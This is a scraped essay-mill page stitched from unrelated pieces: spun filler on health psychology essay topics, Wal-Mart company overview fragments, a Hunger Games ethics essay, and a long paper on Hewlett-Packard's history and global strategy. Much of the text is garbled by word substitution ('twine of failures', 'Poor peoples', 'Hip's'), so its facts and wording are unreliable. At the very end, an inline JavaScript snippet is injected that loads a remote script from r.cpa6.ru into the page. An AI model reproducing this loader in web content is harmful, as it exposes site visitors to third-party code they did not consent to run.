The Honest to Goodness Truth on Health Psychology Essay Topics

The Honest to Goodness Truth on Health Psychology Essay Topics Much like an argumentative essay, a persuasive paper demands an adequate amount of expertise and knowledge of a particular field. The thesis statement which gives you the subject of the paper needs to be stated to allow readers to understand your central argument. If you're tasked to write a college essay, you're not alone. In such a scenario, a psychology essay example might be really valuable. A persuasive essay is a powerful tool when you will need to supply a new vision of a specific topic for the reader. The introduction provides readers with a summary of the paper. Essay writing is a significant skill, which you need to attempt to develop during the programme. It is an important part of your course. The War Against Health Psychology Essay Topics Again, input from your instructor can keep you from wasting time on a topic that provides little to continue. Since you may see, locating a suitable topic is not quite as simple as it might seem. Many folks would love to be in a position to move on when the action is taken or the choice is made and not look back. Health Psychology Essay Topics Help! Evaluating the topic will help to make certain you provide the correct answer and that whatever you write is related to the topic. In some instances, students simply devise the study and after that imagine the potential results which may occur. As a rule, they find it c omplicated to choose a proper topic. Undoubtedly the most exciting facets of That Catalyst for me are the students I'm privileged to fulfill each summer. Health Psychology Essay Topics Secrets Social psychological work was applied to a terrific many real-world settings. Psychologists utilize many tools as part of their everyday work. Today, they seek to understand many different aspects of the human mind and behavior, adding new knowledge to our understanding of how people think as well as developing practical applications that have an important impact on everyday human lives. If you get a general idea of what you would like to write about, start doing light studying to narrow down you topic. For instance, a fantastic psychological theory might be possible to prove wrong. If you're working with a psychiatrist, lots of the treatment could be focused on medication administration. You're able to then embark on research to receive ideas to strengthen your argument. Psychologists also utilize statistics to help them analyze the data they get away from their experiments. Research examined the essence of the consistencies and variability that characterize individuals distinctively across situations and over time and started to identify how different kinds of individuals respond to various kinds of psychological conditions. Psychologists strive to find out more about the many aspects that could impact thought and behavior, which range from biological influences to social pressures. Social psychologists have discovered that attractiveness can produce what is called a halo effect. The occupational psychologist aims to boost effectiveness, efficiency, and satisfaction on the job. The words psychologist and psychiatrist could possibly be confused with one another. The New Fuss About Health Psychology Essay Topics Psychologists are those who work in the area of psychology. The same as in any all-natural science, a group of psychologists cannot b e completely sure their theory is the best one. In some instances, certain schools of thought rose to dominate the area of psychology for a time period. These days, the department proceeds to flourish. Students who also make a teaching certificate together with their bachelor's degree in psychology may also become teachers. Since there are several career alternatives and specialty areas in psychology, it is worth it to devote some time researching which kind of psychologist you want to become. Certainly, psychology is among the most intriguing branches of science out there. Since you may see, while psychology might be a relatively young science it also has an enormous quantity of both depth and breadth. Social psychology is a significant discipline of psychology. It is one of an important discipline of psychology but it is some tome confused with the concept of sociology and personality psychology.

Company Overview Wal Mart - 2216 Words

The need for transformation in any given organization arises when discontent is felt at the current procedures and strategies of the organization (Oden, 1999, p.20). The results gained from the procedures perfected over time by the organization, may become unprogressive and may actually make the owners of these companies question their own values before any outsider does. With so much competition in the ever-changing market, change and good change at that, becomes a necessity. This change should come following a strategy lest it be lost to the whims of employees. Company Overview The first Wal-Mart opened its gate to the public in 1962 in Rogers, Arkansas (Minter Reid, 2007). The philosophy behind opening this store was providing the general populace with great products at a reduced price and good customer service. The stores hit it off due to the great associations made with local suppliers by Wal-Mart to reduce the price. The control of the organization is currently 50% under the Walton family and the other half is shared by the public. Wal-Mart’s organizational system is a compact hierarchy. At present, about 11,500 retail centers present worldwide with about 2.1 million employees and about 3000 suppliers of a wide variety. Wal-Mart serves 250 million customers every year and right now has a net worth of about 230 billion dollars. Wal-Mart is opening up to possibilities of e-commerce at present, to further its reach into the population by providing more ease to theShow MoreRelatedWal Mart Company Overview Essay1757 Words   |  8 PagesBasic History Overview Wal-Marts history is one of innovation, leadership and success. It started with a single store in Rogers, Arkansas in 1962 and has grown to what is now the worlds largest - and arguably, the most emulated - retailer. Some researchers refer to Wal-Mart as the industry trendsetter. Today, this retailing pioneer has annual revenues of over $100 billion, 3,000 stores and more than 750,000 employees worldwide. Wal-Mart operates each store, from the products it stocks, toRead MoreEssay on Wal Mart Company Overview1644 Words   |  7 Pages â€Å"Basic History Overview† Wal-Marts history is one of innovation, leadership and success. It started with a single store in Rogers, Arkansas in 1962 and has grown to what is now the worlds largest - and arguably, the most emulated - retailer. Some researchers refer to Wal-Mart as the industry trendsetter. Today, this retailing pioneer has annual revenues of over $100 billion, 3,000 stores and more than 750,000 employees worldwide. Wal-Mart operates each store, from the products it stocks, to theRead MoreWal Mart s Company Overview And History4402 Words   |  18 PagesCompany Overview and History Wal-Mart is the world’s largest retailer operating over 11,000 retail units under 71 banners in 27 countries and e-commerce websites in 11 countries (Wal-Mart, 2014). It employs 2.2 million associates around the world — 1.3 million in the U.S. alone. Since the first Wal-Mart store opened in 1962 in Rogers, Arkansas, Sam Walton expanded nationally to 51 stores with recorded annual sales of $78 million by 1972 when Wal-Mart was listed on the New York Stock Exchange (WMT)Read MoreWal-Mart Store Company Overview Term Paper1294 Words   |  6 PagesWal-Mart Stores, Inc. Executive Summary Wal-Mart has grown to be the world’s largest retail and grocery store with sales soaring to $419 billion in fiscal year 2011. Wal-Mart employs over 2 million associates worldwide in 9,600 retail units and operates in 28 countries. Wal-Mart has enjoyed its success since 1962 when the first store opened in 1962 in Rogers, Arkansas. Wal-Mart was founded by Sam Walton who envisioned a retail store that could â€Å"save people money to help them live betterRead MorePhl 323 Week 3 Ethical Issues Walmart Paper1535 Words   |  7 Pagesconducted. How a company conducts itself as a business and a corporate citizen is critical to its success. Wal-Mart is the largest retailer in the world; however they are not exempt to acting ethically. In December 2008, Wal-Mart settled 63 laws suits that spans over several years across 42 states accuses Wal-Mart of cheating workers on pay. The settlement cost Wal-Mart $352 million. Based on comments made by Wal-Mart attorneys and spokespeople, it was clear that the company realized that theyRead MoreTarget Corporation versus Wal-Mart Inc. Essay1619 Words   |  7 PagesTarget Corporation versus Wal-Mart Inc. Overview This paper will give a summary of Target corporation versus Wal-Mart stores, Incorporated. In the following weeks it will compare the financial performances of these two companies, by evaluating circumstances such as the times interest earned, return on equity, return on assets and other factors. This paper will present an overview of the exchanges on which both company’s stock is traded. It will also present characteristics of that particularRead MoreWal Mart And The Largest Retail Company1137 Words   |  5 PagesIntroduction Wal-Mart started as a small firm, with a single discount store and the simple idea of selling more for less. The company has gone a long way from one store to having more than 11,500 stores in 28 countries. Wal-Mart has been a very successful by becoming the largest retail company in the world employing 2.2 million in the World and 1.4 million in United States. This project is about the problems of Wal-Mart as a company with employees and the community at large. The company is known forRead MoreWal Marts Success Story: Business Model and Organizational Strategy1013 Words   |  4 Pagesthis text, I choose to concern myself with Wal-Mart - a fortune 500 company. In so doing, I will amongst other things discuss the stores business model as well as organizational strategy. Further, I will also highlight not only the products the company offers for sale but also its industry and market position. Wal-Mart: An Overview Wal-Mart according to Yahoo Finance (2012) operates retail stores in various formats worldwide. Currently, the company is not only the worlds largest retailer butRead MoreWal Mart As A Symbol Of The United States1613 Words   |  7 PagesOverview: Sam Walton founded Wal-Mart in 1962 in Roger, Arkansas. In a little less than 10 years, Wal-Mart had 38 locations and was opening two stores per year. In 1970, the company started trading in the New York Stock Exchange. By 1979, the company announced a record $1billion sales and it became the first company to do so. Wal-Mart reached record after record during those years, and by the end of 1989, Wal-Mart reported after tax-profits of $1billlion. Wal-Mart now has become a symbol ofRead MoreWal-Mart Swot Analysis1260 Words   |  6 PagesRunning head: Wal-Mart SWOT Analysis Wal-Mart SWOT Analysis September 10, 2012 | | Wal-Mart SWOT Analysis Wal-Mart’s founder Sam Walton had an idea to save customer’s money by keeping sales prices lower than many of his competitors. Mr. Walton’s goal was accomplished by reducing his profit margin and now, Wal-Mart has become the world’s largest company, in terms of returns. According to Datamonitor (2012) recorded revenues of $421,849 million was Wal-Mart’s income in 2011, an

Natural Law Ethical Issue From The Hunger Games Of...

First according to the book natural law is â€Å"a theory asserting that the morally right action is the one that follows the dictates of nature.† (Vaughn 71) I think for natural law the ethical issue from The Hunger Games of government control, dishonesty, violence, and child killing for the selected audience to consider. For the hunger games broke down first deals with Katniss herself and she the girl from district 12 that volunteered as a tribute for her sister in the seventy- fourth Hunger games. Then you have Peeta and he is the baker’s son, which was chose as the male tribute. Peeta as always loved Katniss and falls in even moral love with her as they travel through their journey of the Games together. The setting is in the Region called Panem and in District 12 and the Capitol, with the theme of inequality between the rich and the poor with the different districts. In the sense of the Natural law for this would be the break down of values people are born with because it is telling us that it is okay to kill if you need to live but then it is also entertainment for all the people watching every year as everyone in the games go and kill each other. Also in the natural law you would have the survival of the fittest and that is made every apparent in the first day of the start of the Hunger Games. Then Kantianism according to the books is, â€Å" a theory asserting that the morally right action is the one done in accordance with the categorical imperative.† (Vaughn 71) AlsoShow MoreRelatedFundamentals of Hrm263904 Words   |  1056 Pagessave money From multiple study paths, to self-assessment, to a wealth of interactive visual and audio resources, WileyPLUS gives you everything you need to personalize the teaching and learning experience.  » F i n d o u t h ow t o M A K E I T YO U R S  » www.wileyplus.com ALL THE HELP, RESOURCES, AND PERSONAL SUPPORT YOU AND YOUR STUDENTS NEED! 2-Minute Tutorials and all of the resources you your students need to get started www.wileyplus.com/firstday Student support from an experiencedRead MoreStephen P. Robbins Timothy A. Judge (2011) Organizational Behaviour 15th Edition New Jersey: Prentice Hall393164 Words   |  1573 Pages10.5/12 ITC New Baskerville Std Credits and acknowledgments borrowed from other sources and reproduced, with permission, in this textbook appear on the appropriate page within text. Copyright  © 2013, 2011, 2009, 2007, 2005 by Pearson Education, Inc., publishing as Prentice Hall. All rights reserved. Manufactured in the United States of America. This publication is protected by Copyright, and permission should be obtained from the publisher prior to any prohibited reproduction, storage in a retrieval

Hewlett Packard Essay Research Paper Hewlett Packard free essay sample

Hewlett Packard Essay, Research Paper Hewlett Packard started in 1939 in a garage by two people, Bill Hewlett and David Packard with merely $ 538 of working capital. After a twine of failures, their company? s foremost successful merchandise, an audio oscillator better than anything on the market, earned a U.S. patent and an order from Disney Studios for eight units to assist bring forth the alive movie Fantasia. From 1940 to 1950 they moved from their garage to a rented edifice on Page Mill Road in Palo Alto and so constructed their first HP-owned edifice that was 10,000 square pes. In 1957, HP had their first public stock offering November 6, 1957 and net grosss were $ 30 million with 1,778 employees and 373 merchandises. In the 1960? s, HP was listed on the New York and Pacific exchanges as HWP and had its foremost naming on Fortune magazine as of one of the 500 U.S. companies. HP in 1967 started operations in Boeblingen, Germany presenting a non-invasive fetal bosom proctor that helps babes by observing foetal hurt during labour. In the 1970? s grosss increased to $ 365 million with over 16,000 employees. ( HP.com ) In the 1980? s grosss once more increased to $ 6.5 billion with over 85,000 employees. They introduced their first personal computing machine, the HP-85 and introduced HP LaserJet pressmans, the company? s most successful individual merchandise of all time considered a criterion for optical maser printing today. HP moves to the top 50 on Fortune 500 listing # 8211 ; 1 # 8211 ; at No. 49. Finally in the 1990? s, HP opens research installations in Tokyo, Japan with net grosss of $ 13.2 billion and over 91,000 employees. ( HP.com ) HP besides introduced portable computing machines that lasted on batteries that would last a flight across the U.S. All these merchandises moved HP to the No. 2 place in the U.S. market. Today HP has ballooned into a transnational company with 104 divisions, 123,000 employees worldwide, 19,000 merchandises and gross revenues over $ 47 billion. ( HP.com ) Great merchandises finally come from the heads of motivated and capable employees, the 2nd key to HP? s success. After the Second World War, the company began to engage gifted applied scientist and scientist that were no longer working in the war that were from other engineering companies and authorities funded labs. These were high priced experient workers that helped HP? s development of different successful merchandises. ( personal Journal ) The company construction looks like a pyramid. At the top are the board of managers followed by President and Vice President. There are Presidents and Vice Presidents in different divisions of the company. Finally, there are general directors, center directors, lower directors and employees. Hewlett Packard? s Mission statement is to better the ways persons and organisations around the universe create, entree, usage and communicate information on the route or from the desktop, in the office and in the place. HP is a world-wide leader in personal computer science ; puting new criterions in such countries # 8211 ; 2- as Mobil calculating web direction, 3-D artworks and information storage. Computer merchandises include eight fabricating divisions in North America, Europe and Asia, with gross revenues and support in more than 110 states. These divisions are separated in Mobile Computer Division, Business Desktop Division, Home Products Division, Asia Pacific PC Division, Workstation Systems Division and information storage group. ( Information Week ) As explained above HP planetary market topographic point allows the company to spread out in different states and people in two ways. First HP.com allows virtually anyone with Internet entree to log on under the URL and really order online. One job that some companies are holding is that 65 % of the Internet citations are merely in English. ( www.firstsearch.com ) On Hewlett Packard? s web site you merely need to take the state that you live in and the pages will interpret the text into that linguistic communication. There is merchandise information about you future or present purchases, package updates of the merchandise, and besides proficient support through electronic mail. Finally HP has 24 hours a twenty-four hours 7 yearss a hebdomad of client support throughout the states that have operators to help you on the merchandise. Peoples are more willing to purchase merchandises and services from a industry that can supply both the support and the chance to purchase easy from Hewlett Packard, and HP provides this! One illustration is that Dell a on-line company that build computing machine as they are order from the clients and the concern offer one of the best support and # 8211 ; 3 # 8211 ; guarantees in the computing machine industry. HP is following their online scheme closely to Dell? s manner of runing the gross revenues and clients. As this company expands in growing it leaves other smaller companies behind that can? t compete with this computing machine giant. These smaller companies hold problem to fit HP? s monetary values and client support. One illustration of this is a local owned household stores in a state that are non able to vie with they type of merchandises and services offered by HP and these companies either have to halt merchandising or travel off from the competition. With communicating and engineering growing, it will be easier to mount the cultural boundaries that other companies had problem get the better ofing in the yesteryear. This would be in holding other states purchasing an American made merchandise. The Internet is assisting in traversing those boundaries by offering planetary support and merchandises. With the support and merchandises offered by HP, other companies may hold problems seeking to fit or outperform. This leads to shuting down of stores and other smaller retail merchant that can impact occupations in that state. Peoples of other diversenesss may hold job accepting these alterations and may non desire to do the alteration. The older coevals that is non ready or unable to utilize computing machines may hold problems accommodating to purchasing over the Internet. Another job is non wholly people from other states are financially able to pay for a computing machine like people in the U.S. This could be another job that HP is non yet ready to get the better of. Finally as clip goes on engineering will be # 8211 ; 4 # 8211 ; available to all and these jobs might be solved but new jobs will replace the old and there will be other obstructions to avoid. Hewlett Packard? s Response to a Globalizing Economy HP now has a strong committedness to adult females # 8217 ; s promotion. One premier illustration of this would be its semiannual Technical and Women # 8217 ; s Conference, which last twelvemonth brought together 2,000 female HP scientists, applied scientists, professionals and directors from 26 provinces and 12 states, in order to discourse concern issues, particularly as they relate to gender. HP picked up the check for employee travel disbursals, excessively. Work and household issues remain on the forepart burner as good. Last twelvemonth the company was listed as an ABC Champion, taking to the support of 25 kid and senior attention undertakings in HP communities. The other intelligence here is the on-going redesign of work agendas to supply more flexibleness. Directors have been trained to be receptive to these demands while employees have been encouraged to seek new options. As a consequence, HP has some large Numberss to demo for its attempts. About 3,000 people work at a practical office ; 500 portion occupations and 1,450 employees are on tight workweeks. HP announced on February 28, 2000 that it would be providing computing machines for its? Wired Workforce? plan in which / gt ; computing machines are made available for all Delta Air Lines employees at a significant price reduction through PeoplePC. # 8211 ; 5 # 8211 ; The Wired Workforce plan was announced February 4 in a joint presentation with PeoplePC. The San Francisco based company will be responsible for order fulfilment and proficient support for the plan. Over the following few months, Delta Technology and PeoplePC will work closely to prove all facets of the plan, including unafraid entree to the air hose # 8217 ; s intranet. HP will supply multiple constellations from its HP Pavilion desktop line, the No. 1 selling retail Personal computer. HP is traveling quickly frontward with execution of their # 8216 ; Wired Workforce # 8217 ; plan and look frontward to the advantages their people will derive. In 1997, the HP established a dedicated undertaking force to turn to the issues raised by the debut of a European individual currency ( the Euro ) for early public presentation as of January 1, 1999 and during the passage period through January 1, 2002. HP? s primary focal point has been on the alterations needed to cover with a mix of Euro and local denomination minutess from the first twenty-four hours of conversion # 8211 ; January 1, 1999. Since the beginning of the passage period, merchandise monetary values in local currencies are being converted to Euros as required. At an appropriate point during the passage period, merchandise monetary values in take parting # 8211 ; 6 # 8211 ; states will be established and stored in Euros, and converted to local denominations. System alterations were implemented to give multi-currency capableness to the few internal applications that did non hold it yet, or to guarantee that external spouses confronting systems treating euro transitions be compliant with the European council ordinances. ( Ad Age ) The HP has developed programs to back up show and printing of the Euro character by wedged merchandises. Most merchandises are presently able to make these maps while programs are still in procedure for a few leftover merchandises. Horsepower does non soon expect that debut and usage of the Euro will materially impact the Company # 8217 ; s foreign exchange and get awaying activities or the Company # 8217 ; s usage of derivative instruments. HP direction does non anticipate that the debut of the Euro will ensue in any material addition in costs to the Company and all costs associated with the debut of the Euro will be expensed to operations as incurred. While the HP will go on to measure the impact of the Euro debut over clip, based on presently available information, direction does non believe that the debut of the Euro currency will hold a material inauspicious impact on the HP # 8217 ; s fiscal status or overall tendencies in consequences of operations. # 8211 ; 7 # 8211 ; Hewlett Packard? s Response to a Globalizing Political Environment Economic, political and other hazards associated with international gross revenues and operations, peculiarly in Korea and Japan, could negatively affect HP gross revenues. They sell merchandises worldwide, their concern is capable to hazards associated with making concern internationally. HP? s cyberspace gross arising outside the United States, as a per centum of our entire cyberspace gross, was 54.4 % in financial twelvemonth 1998 and 54.9 % for the nine months ended July 31, 1999. They predict that gross from international operations will go on to stand for a big part of our entire gross. In add-on, many of their fabrication installations and providers are located outside the United States. HP does a significant part of their concern in Korea and Japan, which have been capable to increased economic instability in recent old ages. Their concern has declined in 1998 when Korea and Japan experienced economic troubles. The return of failing in these economic systems or failing in other international economic systems could and may hold a important negative consequence on HP? s hereafter operating consequences. HP is covering with assorted regulations and ordinances, in peculiar is its conformity with the Food and Drug Administration sing ordinances on a broad assortment of merchandise activities from design and development to labeling, fabrication, publicity, gross revenues and distribution. # 8211 ; 8 # 8211 ; The medical device merchandises produced by Hip? s healthcare solutions concern are capable to those criterions given by the United States Food and Drug Administration ( FDA ) and similar international bureaus. HP has received a warning missive from the FDA in 1996 avering non-compliance with the FDA # 8217 ; s quality system ordinances at one of our installations. The FDA # 8217 ; s quality systems ordinance includes luxuriant design, proving, control, certification and other quality confidence demands. HP had to use considerable resources to turn to the FDA # 8217 ; s concerns. HP has resolved the issues identified in the FDA # 8217 ; s missive and the FDA is satisfied with our appraisal If HP fails to maintain up acceptable conformity with the FDA # 8217 ; s quality system and other ordinances, HP will be forced to remember merchandises and discontinue their industry and distribution. ( Hoovers.com ) The Global Industry The world-wide personal computing machine industry grew 21 per centum last twelvemonth, led by strong demand in the United States. Increasing affordability of Personal computers and the turning demand to acquire? online? , the per centum of U.S. places with Personal computers advanced from 38.5 % in 1995 to 52.7 % in 1999. As a computing machine Industry as a 9 # 8211 ; whole had to vie for DRAM in late 1999 because of the Taiwan temblor. Monetary values doubled 100 % in August and so once more in September. This suspended the demand in Personal computers during the vacation season. In entry-level computing machine HP was once more behind IBM with 12 % of market portion compared to IBM? s 21 % . HP has gained market portion in the midrange Personal computers with 21 % compared to IBM? s 23 % . ( Standard A ; Poor peoples ) HP grew in market portion during the terminal of 1999 from 6.2 % to 8.4 % . HP? s growing rate worldwide is 39.6 % , which is the 2nd fastest growing rate behind Dell computing machine. In grosss HP is 2nd behind IBM with $ 47 billion and 2nd once more in net income behind IBM with $ 2.9 billion. Under operating net income borders HP ranked 6th with 8.16 % and with return in capital of 15.51 % besides 6th in the industry. ( Moody? s Industry Review ) One thing that HP does miss in is in computing machine gross revenues in other states outside of the U.S. , like Canada where they are non even ranked in the top 5. Globally HP leads the pressman market with their HP inkjet pressmans and is deriving market portion in the Personal computers. HP is turning quickly into the worldwide market and is turning at a faster rate than before because of the planetary entree offered to concern and clients over the Internet. # 8211 ; 10 Global Computer Industry, New York Times, New York ; Jan 29, 1999 ; Late Edition ; pg.C.18 Hoovers Online Business Network ; computing machine industry analysis ; hoovers.com Tobi Elkin ; Advertising Age, Chicago ; Jan 31, 2000 ; Vol. 71, Iss. 5 ; Midwest part edition ; pg. 32, 3 pgs Laabs, Jennifer J. ( 1993 ) , ? Hewlett Packard? s nucleus values drive HR scheme, ? Personal Journal, 72, 9 ( February ) 38-48? History, ? ( 2000 ) , hypertext transfer protocol: //www.hp.com ( accessed 2-9-00 ) ? Hewlett Packard Company? ( 2000 ) , hypertext transfer protocol: //www.firstsearch.oclc.org ( accessed 2-9-2000 ) Korzenowski, Paul ( 1999 ) , ? Hewlett Packard Makeover Starts Turning Heads, ? InformationWeek, 761, 9 ( February ) 189-192 Moody? s Industry reappraisal ( 1999 ) , ? Comparative Rankings. ? ? Computer Hardware, ? ( 1999 ) , Standards and Poor peoples Lazich S. Robert ; Market Share Reporter, ( 1999 ) pg 190-192 # 8211 ; 11 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;